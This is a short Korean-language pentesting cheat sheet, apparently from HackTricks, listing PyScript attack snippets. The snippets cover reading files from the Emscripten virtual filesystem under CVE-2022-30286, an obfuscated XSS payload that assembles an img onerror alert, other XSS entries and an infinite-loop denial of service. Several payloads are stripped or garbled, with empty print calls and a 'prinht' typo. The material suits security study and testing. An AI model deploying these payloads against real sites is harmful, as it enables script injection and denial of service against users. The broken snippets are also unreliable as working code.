# Pyscript
{{#include ../../banners/hacktricks-training.md}}
## PyScript 펜테스팅 가이드
PyScript는 Python을 HTML에 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다.
### Emscripten 가상 메모리 파일 시스템에서 파일 덤프/검색하기:
`CVE ID: CVE-2022-30286`\
\
코드:
```html
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
```

### [Emscripten 가상 메모리 파일 시스템의 OOB 데이터 유출 (콘솔 모니터링)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
`CVE ID: CVE-2022-30286`\
\
Code:
```html
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
')
```

### 크로스 사이트 스크립팅 (일반)
코드:
```python
print("
")
```

### 크로스 사이트 스크립팅 (Python 난독화)
Code:
```python
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
```

### 크로스 사이트 스크립팅 (JavaScript 난독화)
Code:
```html
prinht("
")
```

### DoS 공격 (무한 루프)
코드:
```html
while True:
print(" ")
```

{{#include ../../banners/hacktricks-training.md}}